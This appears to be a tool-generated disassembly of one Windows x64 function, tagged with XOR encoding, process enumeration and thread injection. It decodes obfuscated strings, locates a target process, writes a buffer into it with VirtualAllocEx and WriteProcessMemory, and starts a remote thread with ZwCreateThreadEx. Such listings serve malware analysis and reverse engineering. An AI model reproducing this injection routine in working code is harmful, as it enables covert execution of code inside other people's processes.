Function at 0x140044830
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Generate random numbers using a mersenne twister
Inject thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x2060
call fcn.1400beb90
sub rsp, rax
vmovaps xmmword [rsp + 0x2050], xmm6
mov rax, qword [0x1401560e8]
xor rax, rsp
mov qword [rsp + 0x2040], rax
mov r13, rcx
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x308], rcx
xor r12d, r12d
mov dword [rsp + 0x68], r12d
lea rcx, [rsp + 0x240]
call fcn.1400433a0
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.14004e140
mov dword [rsp + 0x68], 0x400
vmovups ymm0, ymmword [rsp + 0xa0]
vmovups ymmword [rsp + 0x1e0], ymm0
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xb8], 7
mov word [rsp + 0xa0], r12w
vpxor xmm6, xmm6, xmm6
vmovdqu xmmword [rsp + 0x310], xmm6
xor r8d, r8d
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x720]
vzeroupper
call fcn.140043000
nop
cmp byte [rsp + 0x998], r12b
je 0x140044982
lea ecx, [r12 + 0x58]
call fcn.1400bdd10
mov rdi, rax
mov qword [rsp + 0x70], rax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
lea rdx, [rsp + 0x720]
mov rcx, rbx
call fcn.1400432a0
nop
mov dword [rsp + 0x68], 0x600
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x310], rbx
mov qword [rsp + 0x318], rdi
vmovdqu xmm6, xmmword [rsp + 0x310]
jmp 0x140044988
vpextrq rdi, xmm6, 1
mov ebx, dword [rsp + 0x99c]
mov rcx, qword [rsp + 0x740]
call fcn.1400bcd30
lea rcx, [rsp + 0x720]
call fcn.14004ea80
test ebx, ebx
jne 0x140045d82
lea rcx, [rsp + 0x1e0]
call fcn.14004ea80
nop
lea rcx, [rsp + 0xa0]
call fcn.14004ea80
nop
lea rcx, [rsp + 0x240]
call fcn.14004ea80
test rdi, rdi
je 0x1400449f4
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x318]
vmovdqu xmm6, xmmword [rsp + 0x310]
vmovdqu xmmword [rsp + 0x320], xmm6
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x210], xmm0
test rdi, rdi
je 0x140044a24
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x318]
vmovdqu xmm6, xmmword [rsp + 0x310]
vmovdqa xmmword [rsp + 0x220], xmm6
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x3b0], xmm1
mov r15, 0xffffffffffffffff
test rdi, rdi
je 0x140044a7f
mov eax, r15d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140044a7f
mov rbx, qword [rsp + 0x318]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044a7f
mov rcx, qword [rsp + 0x318]
mov rax, qword [rcx]
call qword [rax + htons]
nop
movabs rsi, 0x6e7a40661a426846
nop dword [rax]
mov rdi, qword [rsp + 0x320]
nop dword [rax + rax]
test rdi, rdi
je 0x140044f14
lea rcx, [rsp + 0x2c8]
call fcn.1400433a0
nop
mov rdx, rax
lea rcx, [rsp + 0x268]
call fcn.14004e140
or dword [rsp + 0x68], 0x40
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x80]
call fcn.14004e140
or dword [rsp + 0x68], 0x20
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], r12
mov qword [rsp + 0x368], r12
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x278]
cmp rax, rdx
jb 0x140045db2
mov qword [rsp + 0x4d0], r15
sub rax, rdx
mov qword [rsp + 0x200], rax
mov rbx, r15
cmp rax, r15
cmovb rbx, rax
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x98]
cmp r8, 8
cmovae rax, rcx
cmp rbx, 8
jb 0x140044bdf
lea rsi, [rbx + rbx]
test rdx, rdx
je 0x140044b87
lea rdx, [rax + rdx*2]
mov r8, rsi
mov rcx, rax
call fcn.1400c08c0
mov r8, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
lea rax, [rsp + 0x80]
cmp r8, 8
cmovae rax, rcx
mov qword [rsp + 0x90], rbx
mov word [rsi + rax], r12w
vmovups ymm0, ymmword [rsp + 0x80]
vmovups ymmword [rsp + 0x350], ymm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 7
mov word [rsp + 0x80], r12w
movabs rsi, 0x6e7a40661a426846
jmp 0x140044c13
lea rdx, [rax + rdx*2]
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x368], 7
add rbx, rbx
mov r8, rbx
lea rcx, [rsp + 0x350]
call fcn.1400c08c0
mov word [rsp + rbx + 0x350], r12w
lea rcx, [rsp + 0x80]
vzeroupper
call fcn.14004ea80
nop
lea rcx, [rsp + 0x268]
call fcn.14004ea80
nop
lea rcx, [rsp + 0x2c8]
call fcn.14004ea80
lea rdx, [rsp + 0xe8]
mov rcx, rdi
call fcn.140042e90
mov rax, qword [rsp + 0xe8]
mov edx, dword [rsp + 0xf0]
test edx, edx
je 0x140044c71
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140045d99
cmp eax, 2
je 0x140044c7b
jmp 0x140044e35
movabs rax, 0x6a54e19732499c37
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x108], rax
movabs rax, 0x6a38e1fb322d9c19
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1fa0], rax
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1fa8], rax
vmovdqu xmm0, xmmword [rsp + 0x100]
vpxor xmm1, xmm0, xmmword [rsp + 0x1fa0]
vmovdqu xmmword [rsp + 0x100], xmm1
lea rax, [rsp + 0x100]
mov r10, r15
nop dword [rax]
inc r10
cmp word [rax + r10*2], 0
jne 0x140044d00
lea rbx, [rsp + 0x350]
cmp qword [rsp + 0x368], 8
cmovae rbx, qword [rsp + 0x350]
mov rax, qword [rsp + 0x360]
cmp r10, rax
ja 0x140044e2d
test r10, r10
je 0x140044dd4
sub rax, r10
inc rax
lea rdi, [rbx + rax*2]
mov rax, rbx
mov r11, qword [rsp + 0x100]
nop dword [rax]
nop dword [rax + rax]
mov rcx, rdi
sub rcx, rax
sar rcx, 1
mov rdx, r12
je 0x140044d8a
cmp word [rax], r11w
je 0x140044d87
cmp rcx, 1
je 0x140044d8a
dec rcx
add rax, 2
cmp word [rax], r11w
jne 0x140044d74
mov rdx, rax
mov rax, rdx
test rdx, rdx
je 0x140044e2d
mov r8, r10
lea rdx, [rsp + 0x100]
test r10, r10
je 0x140044dc8
lea rcx, [rsp + 0x100]
mov r9, rax
sub r9, rcx
movzx ecx, word [r9 + rdx]
cmp cx, word [rdx]
jne 0x140044e24
add rdx, 2
sub r8, 1
jne 0x140044db4
sub rax, rbx
sar rax, 1
cmp rax, 0xffffffffffffffff
je 0x140044e2d
mov rdi, qword [rsp + 0x320]
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x1c0]
call fcn.14004e140
or dword [rsp + 0x68], 0x100
lea rcx, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 8
cmovae rcx, qword [rsp + 0x1c0]
call fcn.1400d55c4
lea rcx, [rsp + 0x1c0]
call fcn.14004ea80
nop
jmp 0x140044e35
add rax, 2
jmp 0x140044d60
mov rdi, qword [rsp + 0x320]
lea rcx, [rsp + 0x350]
call fcn.14004ea80
lea rdx, [rsp + 0x9a0]
mov rcx, qword [rdi + 0x40]
call fcn.1400bcd10
cmp eax, 0x12
je 0x140044e9e
test eax, eax
jne 0x140045daa
cmp word [rsp + 0x9cc], 0x2e
jne 0x140044e89
movzx eax, word [rsp + 0x9ce]
test ax, ax
je 0x140044e42
cmp ax, 0x2e
jne 0x140044e89
cmp word [rsp + 0x9d0], 0
je 0x140044e42
lea rdx, [rsp + 0x9a0]
mov rcx, rdi
call fcn.140043160
jmp 0x140044aa0
mov qword [rsp + 0xc0], rdi
mov rdi, r12
mov qword [rsp + 0x320], r12
mov rbx, qword [rsp + 0x328]
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0x328], r12
test rbx, rbx
je 0x140044aa0
mov eax, r15d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140044a90
mov rcx, qword [rsp + 0xc8]
mov rax, qword [rcx]
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044a90
mov rcx, qword [rsp + 0xc8]
mov rax, qword [rcx]
call qword [rax + htons]
jmp 0x140044a90
mov rcx, qword [rsp + 0x3b8]
test rcx, rcx
je 0x140044f5a
mov eax, r15d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140044f5a
mov rbx, qword [rsp + 0x3b8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044f5a
mov rcx, qword [rsp + 0x3b8]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rbx, qword [rsp + 0x328]
test rbx, rbx
je 0x140044fa0
mov eax, r15d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140044fa0
mov rbx, qword [rsp + 0x328]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044fa0
mov rcx, qword [rsp + 0x328]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rcx, qword [rsp + 0x318]
test rcx, rcx
je 0x140044fe5
mov eax, r15d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140044fe5
mov rbx, qword [rsp + 0x318]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044fe5
mov rcx, qword [rsp + 0x318]
mov rax, qword [rcx]
call qword [rax + htons]
call fcn.1400bcba4
mov dword [rsp + 0x1f74], 0xffffffff
mov dword [rsp + 0xbf4], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xbf4], eax
inc rdx
cmp rdx, 0x270
jb 0x140045001
mov dword [rsp + 0xbf0], 0x270
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x370], xmm0
mov qword [rsp + 0x380], r12
mov qword [rsp + 0x388], r12
xor r8d, r8d
lea rdx, [0x140134b24]
lea rcx, [rsp + 0x370]
call fcn.14004f070
nop
mov r14d, 3
nop dword [rax]
mov rbx, qword [0x1401752a8]
mov rsi, qword [0x1401752a0]
sub rbx, rsi
sar rbx, 4
dec ebx
lea rcx, [rsp + 0xbf0]
cmp ebx, 0xffffffff
jne 0x14004509d
call fcn.14004ff60
mov ecx, eax
jmp 0x1400450db
inc ebx
call fcn.14004ff60
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x1400450d7
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1400450d7
nop
lea rcx, [rsp + 0xbf0]
call fcn.14004ff60
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x1400450c0
shr rcx, 0x20
movsxd rax, ecx
add rax, rax
vmovups xmm0, xmmword [rsi + rax*8]
vmovups xmmword [rsp + 0x230], xmm0
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x2a8]
call fcn.14008c2d0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140045113
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x370]
call fcn.14004e0b0
nop
lea rcx, [rsp + 0x2a8]
call fcn.14004ea80
sub r14, 1
jne 0x140045070
movabs rax, 0x6a54e19732499c37
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x160], rax
movabs r14, 0x6e7a40661a426846
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x168], rax
movabs rax, 0x6a38e1fb322d9c19
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1fc0], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1fc8], rax
vmovdqu xmm0, xmmword [rsp + 0x160]
vpxor xmm1, xmm0, xmmword [rsp + 0x1fc0]
vmovdqu xmmword [rsp + 0x160], xmm1
lea rcx, [rsp + 0x2e8]
call fcn.1400433a0
nop
mov rdx, rax
lea rcx, [rsp + 0x288]
call fcn.14004e140
mov ebx, dword [rsp + 0x68]
or ebx, 4
lea rdx, [rsp + 0x370]
cmp qword [rsp + 0x388], 8
cmovae rdx, qword [rsp + 0x370]
mov r8, qword [rsp + 0x380]
lea rcx, [rsp + 0x288]
call fcn.14004e0b0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], r12
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x140], ymm0
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
or ebx, 0x10
lea rax, [rsp + 0x160]
inc r15
cmp word [rax + r15*2], 0
jne 0x140045255
mov r8, r15
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x140]
vzeroupper
call fcn.14004e0b0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], r12
mov qword [rsp + 0x348], r12
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x330], ymm0
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
or ebx, 8
lea rcx, [rsp + 0x140]
vzeroupper
call fcn.14004ea80
nop
lea rcx, [rsp + 0x288]
call fcn.14004ea80
nop
lea rcx, [rsp + 0x2e8]
call fcn.14004ea80
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3c0]
call fcn.1400c0f70
lea rax, [0x14012f878]
mov qword [rsp + 0x3c0], rax
mov qword [rsp + 0x470], r12
mov qword [rsp + 0x498], r12
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x4a0], xmm0
or ebx, 1
mov dword [rsp + 0x68], ebx
lea rsi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x468], rsi
mov dword [rsp + 0x464], 0x98
xor r8d, r8d
lea rdx, [rsp + 0x3c8]
lea rcx, [rsp + 0x468]
call fcn.140041640
nop
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3c0], rdi
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3bc], edx
lea rcx, [rsp + 0x3c8]
call fcn.14004e730
nop
lea rdx, [rsp + 0x330]
cmp qword [rsp + 0x348], 8
cmovae rdx, qword [rsp + 0x330]
lea rcx, [rsp + 0x3c0]
call fcn.14004e7c0
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x1400453d6
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rsp + 0x3c0]
call fcn.14004dd30
lea rcx, [rsp + 0x3c8]
call fcn.14004e590
mov ebx, 2
test rax, rax
jne 0x140045439
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rsp + rcx + 0x408], 0
cmovne eax, ebx
or eax, dword [rsp + rcx + 0x3d0]
and eax, 0x17
mov dword [rsp + rcx + 0x3d0], eax
and eax, dword [rsp + rcx + 0x3d4]
jne 0x140045d27
mov qword [rsp + 0xe0], 0x3e8
lea rcx, [rsp + 0xe0]
call fcn.14004ebd0
movabs rax, 0x580b8d9e5c5ff952
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd0], rax
movabs rax, 0x6e7a4066762e0c68
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd8], rax
movabs r15, 0x6a38e1fb322d9c19
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1fe0], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1fe8], rax
vmovdqu xmm0, xmmword [rsp + 0xd0]
vpxor xmm1, xmm0, xmmword [rsp + 0x1fe0]
vmovdqu xmmword [rsp + 0xd0], xmm1
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
test rax, rax
jne 0x140045599
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x3c0], rdi
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3bc], edx
lea rcx, [rsp + 0x3c8]
call fcn.14004dc80
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x3c0], rsi
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x3bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x468], rax
lea rcx, [rsp + 0x468]
call fcn.1400bc560
nop
lea rcx, [rsp + 0x330]
call fcn.14004ea80
nop
lea rcx, [rsp + 0x370]
call fcn.14004ea80
nop
mov rcx, r13
call fcn.1400274a0
xor eax, eax
jmp 0x140045cf4
movabs rax, 0x185a88b7564cf355
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1a0], rax
movabs rax, 0x6e7a40665b3b1a27
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2000], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2008], rax
vmovdqu xmm0, xmmword [rsp + 0x1a0]
vpxor xmm1, xmm0, xmmword [rsp + 0x2000]
vmovdqu xmmword [rsp + 0x1a0], xmm1
lea rdx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x1400456b2
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x3c0], rdi
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3bc], edx
lea rcx, [rsp + 0x3c8]
call fcn.14004dc80
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x3c0], rsi
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x3bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x468], rax
lea rcx, [rsp + 0x468]
call fcn.1400bc560
nop
jmp 0x14004556e
mov byte [0x1401749d1], 1
xor edi, edi
movabs rsi, 0x6a5de18d32449c5f
movabs r14, 0x6e7a40661a1d680b
movabs r15, 0xb7103a404bf6ea38
movabs r13, 0x6a68e1ba32799c5e
movabs r12, 0x6e1f40051a2d6834
nop dword [rax]
mov dword [rsp + 0x4e0], 0x238
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rsp + 0x4e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1400458e5
lea rdx, [rsp + 0x4e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x1400458e5
nop dword [rax]
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x188], rax
movabs rax, 0x6a38e1fb322d9c19
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2020], rax
movabs rax, 0x6e7a40661a426846
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2028], rax
vmovdqu xmm0, xmmword [rsp + 0x180]
vpxor xmm1, xmm0, xmmword [rsp + 0x2020]
vmovdqu xmmword [rsp + 0x180], xmm1
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x50c]
call fcn.1400c0018
test rax, rax
je 0x1400458cb
mov qword [rsp + 0x60], r13
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x128], rax
movabs rax, 0x78a117a580999e68
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x138], rax
movabs rax, 0x6a38e1fb322d9c19
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1f80], rax
movabs rax, 0x6e7a40661a426846
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1f88], rax
movabs rax, 0x78a117a580ea9e1b
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1f90], rax
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1f98], rax
vmovdqu ymm0, ymmword [rsp + 0x1f80]
vpxor ymm1, ymm0, ymmword [rsp + 0x120]
vmovdqu ymmword [rsp + 0x120], ymm1
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x50c]
vzeroupper
call fcn.1400c0018
test rax, rax
cmovne edi, dword [rsp + 0x4e8]
lea rdx, [rsp + 0x4e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140045740
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
mov ebx, 2
je 0x1400456f0
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov r8, qword [rsp + 0x340]
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
jne 0x1400459dc
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3bc], edx
lea rcx, [rsp + 0x3c8]
call fcn.14004dc80
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x3bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x468], rax
lea rcx, [rsp + 0x468]
call fcn.1400bc560
nop
jmp 0x14004556e
mov rdi, qword [rsp + 0x340]
lea r15, [rdi + 1]
lea rbx, [rsp + 0x330]
cmp qword [rsp + 0x348], 8
cmovae rbx, qword [rsp + 0x330]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x3a0], 0
mov qword [rsp + 0x3a8], recv
mov byte [rsp + 0x390], 0
cmp rdi, 0xf
jbe 0x140045a51
mov rdx, rdi
lea rcx, [rsp + 0x390]
call fcn.1400287a0
mov qword [rsp + 0x3a0], 0
lea rdi, [rbx + rdi*2]
lea r8, [rsp + 0x390]
cmp rbx, rdi
je 0x140045a9c
movzx edx, word [rbx]
add rbx, 2
lea eax, [rdx - 0xd800]
cmp eax, 0x3ff
ja 0x140045a88
movzx ecx, word [rbx]
add rbx, 2
shl edx, 0xa
add edx, 0xfca02400
add edx, ecx
lea rcx, [rsp + 0x78]
call fcn.14008d020
mov r8, qword [rsp + 0x78]
cmp rbx, rdi
jne 0x140045a62
vmovups ymm0, ymmword [rsp + 0x390]
vmovups ymmword [rsp + 0xa0], ymm0
xor ebx, ebx
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3a8], recv
mov byte [rsp + 0x390], bl
lea rcx, [rsp + 0x390]
vzeroupper
call fcn.1400274a0
lea r8, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0x10
cmovae r8, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rbx
mov r9, r15
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, [rsp + 0xa0]
call fcn.1400274a0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r12
mov r9, rsi
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x310]
call qword [sym.imp.ntdll.dll_ZwCreateThreadEx]
mov rcx, qword [rsp + 0x310]
test rcx, rcx
jne 0x140045bf6
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3bc], edx
lea rcx, [rsp + 0x3c8]
call fcn.14004dc80
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x3bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x468], rax
lea rcx, [rsp + 0x468]
call fcn.1400bc560
nop
jmp 0x14004556e
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rsp + 0x340]
inc r8
mov r9d, 0x8000
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x310]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1401749d1], 0
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3bc], edx
lea rcx, [rsp + 0x3c8]
call fcn.14004dc80
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x3bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x468], rax
lea rcx, [rsp + 0x468]
call fcn.1400bc560
nop
lea rcx, [rsp + 0x330]
call fcn.14004ea80
nop
lea rcx, [rsp + 0x370]
call fcn.14004ea80
nop
mov rcx, r13
call fcn.1400274a0
mov eax, 1
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.1400bdcf0
lea r11, [rsp + 0x2060]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
vmovaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
test al, 4
je 0x140045d34
lea rbx, str.ios_base::badbit_set
jmp 0x140045d48
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
